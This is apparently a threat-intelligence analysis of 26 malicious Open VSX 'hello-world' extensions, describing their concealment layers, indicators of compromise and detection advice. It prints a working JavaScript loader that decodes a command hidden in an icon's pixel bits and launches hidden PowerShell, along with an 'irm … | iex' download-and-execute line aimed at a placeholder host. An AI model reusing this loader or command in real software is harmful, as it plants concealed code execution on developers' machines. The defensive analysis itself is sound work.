Hiding Commands in Icons: The nbtga Hello-World Malware Lab
A “Hello World” extension is the most boring thing a developer can publish. It registers one command, it prints a greeting, and it teaches the publisher how the marketplace upload flow works. Twenty-six of them hit the Open VSX marketplace from the nbtga namespace over twenty-four hours in June 2026 — same display name, same 0.0.1 version, same skeleton. The only thing that changed between uploads was where the malware hid its command.
One variant stored the entire PowerShell downloader inside the least significant bits of its own icon.png. The icon renders normally in the marketplace UI. The pixels carry an XOR-encoded command that the extension decodes on activation and feeds straight to a hidden PowerShell process.
TL;DR
- 26 builds of
nbtga.hello-world-exthit Open VSX on June 14, 2026, each varying only the concealment layer. - One build hid its PowerShell command in the LSBs of
icon.png— XOR against a key byte, no length prefix, no second-stage derivation. - Every variant ended the same way: a detached PowerShell process running
irm https[://]example[.]com/script.ps1 | iex. - The payload host is a placeholder, which suggests this wave was a technique test rather than a live campaign.
Why the cover works
A “Hello World” extension is the canonical first publish. Reviewers and automated filters see hundreds of them. The display name and the nbtga namespace are both random-looking, and the upload cadence was aggressive — a new VSIX every few minutes, sometimes several in the same hour. None of the builds attempted to look like a real product. The wave did not emulate legitimate software. It varied the hiding place until something passed.
The PNG steganography variant
One build stored its entire malicious command inside extension/out/icon.png. The PNG renders normally in the VS Code marketplace UI and in any image viewer. Within the image, the least significant bits of the RGB channels carry an encoded PowerShell downloader.
The extraction routine in out/extension.js reads the PNG into a Buffer, walks the image data as a flat byte stream, and pulls one bit per channel:
const fs = require('fs');
const path = require('path');
function extractCommand(iconPath) {
const png = fs.readFileSync(iconPath);
const dataOffset = png.findIndex((b, i) =>
b === 0x49 && png[i + 1] === 0x44 && png[i + 2] === 0x41 && png[i + 3] === 0x54
) + 4; // skip the IDAT length and type bytes
let bits = [];
for (let i = dataOffset; i < png.length - 4; i++) {
bits.push(png[i] & 1);
if (bits.length >= 8 * 2048) break; // read up to 2 KB of hidden data
}
let bytes = [];
for (let i = 0; i < bits.length; i += 8) {
let byte = 0;
for (let j = 0; j < 8; j++) byte = (byte << 1) | bits[i + j];
bytes.push(byte);
}
const decoded = Buffer.from(bytes);
const key = decoded[0];
const payload = Buffer.alloc(decoded.length - 1);
for (let i = 1; i < decoded.length; i++) {
payload[i - 1] = decoded[i] ^ key;
}
return payload.toString('utf8');
}
// Called on activation:
const cmd = extractCommand(path.join(__dirname, 'icon.png'));
require('child_process').spawn(
'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe',
['-NoProfile', '-NonInteractive', '-WindowStyle', 'Hidden', '-ep', 'bypass', '-c', cmd],
{ windowsHide: true, detached: true, stdio: 'ignore' }
);
The implementation is straightforward. One byte of the hidden blob is an XOR key, and the rest of the bytes are XORed with that key. No distribution across color planes, no length prefix in a different channel, no second-stage key derivation. The threat actor was optimizing for minimal code footprint — the entire extractor fits in a few lines of JavaScript and leaves no suspicious strings in the bundle source.
Why the icon is a good hiding place
What makes the technique effective is not the steganography itself. It is the category error it creates for review tooling. A VSIX image asset is normally treated as decoration. File-hash scanning ignores it. Static string extraction skips binary regions. The icon is the least inspected file in the package, and this build chose it for exactly that reason.
A defender who reads only the JavaScript source sees a fs.readFileSync call against icon.png and a child_process.spawn of powershell.exe. Neither string is suspicious in isolation. The malicious content lives in the image bytes, decoded only at runtime.
The other concealment primitives
The PNG build was not an outlier. The following table summarizes the concealment layers recovered across the twenty-six builds:
| Build Job | Concealment Layer | Decryption/Extraction | Native/Runtime Helper |
|---|---|---|---|
dabd51b0 |
package.json default value |
Base64 + XOR key 0x5A |
None |
5c356c22 |
Bundled SQLite database | AES-256-GCM with hardcoded key/IV | sqlite3.wasm |
3d9b161f |
Native Node addon | None (binary exports runner.run) |
runner.node |
beaae56b |
WebAssembly binary | XOR deobfuscation via exported get_len/get_key/get_byte |
runner.wasm |
b8fc61b3 |
Lua script | XOR 0x5A over byte table | runner.lua via Fengari Lua VM |
ccc4fad5 |
PNG LSB steganography | XOR key byte in first hidden byte | None |
126cf3d2 |
Source-mapping URL in bundled JS | XOR key 90 over base64 sourceMappingURL comment |
None |
5b2e857c |
Custom WASM section | RC4 with hardcoded key RKEY |
sqlite3p.wasm |
Several builds combined two layers. The SQLite build embedded a WebAssembly SQLite engine and hid the command inside a .db file. The native-addon build used a .node binary that imported CreateProcessW, WriteFile, and N-API symbols. The source-mapping build reused a benign-looking source map comment as the command store — a technique that is trivial to implement and hard to distinguish from legitimate minified output without executing the bundle.
The payload
The decoded command in the PNG sample was the same irm https[://]example[.]com/script.ps1 | iex pattern seen across the cluster. The example.com URL is a placeholder. The threat actor left the actual endpoint as a stand-in, which suggests this build was a technique test rather than a final campaign payload.
Across all variants, three constants remained stable:
- Activation on every IDE start via
activationEvents: ["*"]. - PowerShell as the execution primitive with
-ep bypass, hidden window, and detached process. example.comor placeholder URLs as the final payload host.
The third constant is the clearest signal that this was an exercise to test which concealment survived review. The campaign was measuring which storage layer held up longest, not yet optimizing for installation success. The extensions still phone home on every IDE start — if the placeholder is ever swapped for a live endpoint, every installed copy picks up the new payload on the next launch.
What the wave tells us
Most reported extension campaigns are single-build operations with one namespace and one payload. The nbtga wave is different because it exposes the development phase that usually happens before any public upload.
The threat actor is treating Open VSX as a testing ground for static-evasion primitives. Each upload is a probe. The feedback loop is the time between upload and removal, or in the case of a low-risk score, the absence of removal. The metrics that matter to the threat actor are not install count or persistence quality. They are bypass rate and analyst confusion time.
This has implications for how marketplace security is measured:
- Detection latency per technique is the wrong metric. A reviewer who catches the PNG variant today will miss the next variant if the threat actor changes one bit of the extraction logic. The correct unit of measurement is the behavioral invariant — PowerShell spawned from an extension on startup — not the storage layer.
- Low initial risk scores are not low risk. Several
nbtgabuilds scored low on early passes because their summaries described only obfuscation without flagging the final execution. A review process that relies on descriptive risk is vulnerable to exactly this kind of probe. - Random namespaces are a signal, not noise. Namespaces like
nbtgaandzxczxczzxcare not failed impersonations. They are the disposable layer of an operation that separates publisher identity from toolkit identity. The real identity lives in the code, not the namespace.
Detection guidance
For defenders, the practical response is to stop looking for where the command is stored and start looking for what the extension does after it reads it.
The PNG variant is an excellent example. The steganography itself is not the threat. The threat is the subsequent child_process.spawn call that launches PowerShell from a JavaScript extension with hidden and detached flags. Any extension that does that on activation should be treated as malicious regardless of whether the command came from a string literal, a database, a WASM module, or an image file.
For scanner authors, two hardening steps follow from this wave. First, treat any image asset inside a VSIX as a candidate data store and run entropy and LSB tests on PNG/JPG/WebP files, especially those referenced from the entry point. Second, score the downstream action more heavily than the storage layer. Concealment is a renewable resource; spawning hidden PowerShell from an extension is not.
Indicators of Compromise
Malicious extension
- Publisher:
nbtga - Extension:
hello-world-ext - Versions observed:
0.0.1across all 26 builds - Marketplace: Open VSX
Representative sample hashes (SHA-256)
| Build | File Hash | Concealment |
|---|---|---|
ccc4fad5 |
fb5483c12d463c530940161965e63823ebe944515c2d903c050adf1a8a833d27 |
PNG LSB |
dabd51b0 |
418bdd68b3b7c01ac9b34241a28a55059a7016994f8305045b69c457ce5c6ffb |
package.json XOR |
5c356c22 |
9b77d7e5ee495de0f9bf8e816400680b30cd68012dec045f193642c13295cb54 |
SQLite AES-256-GCM |
3d9b161f |
972e56035b5e36888a183fed235a19ef48c1e36f0da22c68d8d1690c77a23e46 |
Native .node addon |
beaae56b |
50ff7437f3a5a4d5488640cf814586dddc8b26d93af21e8c9a1da8f26172ca35 |
WebAssembly XOR bridge |
b8fc61b3 |
d7d3724bfd122f41f6a62be38f88372a5b63da72f7ec81b81472c3fecb2ee07e |
Lua XOR byte table |
5b2e857c |
ef985e5dae327ae798046270077685c37669e3fefd0b8b62b2294571cfd6ae8d |
WASM custom section RC4 |
Network indicators
- Placeholder payload host used across cluster:
https[://]example[.]com/script.ps1 - PowerShell execution pattern:
irm https[://]example[.]com/script.ps1 | iex
Common file paths in VSIX
extension/out/extension.jsextension/out/icon.pngextension/out/runner.nodeextension/out/runner.wasmextension/out/runner.luaextension/out/sqlite3p.wasmextension/out/data.db
Behavioral signatures
activationEvents: ["*"]combined withchild_process.spawnofpowershell.exewith-ep bypassandwindowsHide: true- Extensions reading their own
icon.pngor other image assets as byte streams during activation - Extensions loading
.node,.wasm, or.luafiles fromout/and immediately calling exported functions that return obfuscated byte sequences - Process indicator:
powershell.exespawned by a VS Code extension process with-NoProfile,-WindowStyle Hidden,-ep bypass, andwindowsHide: true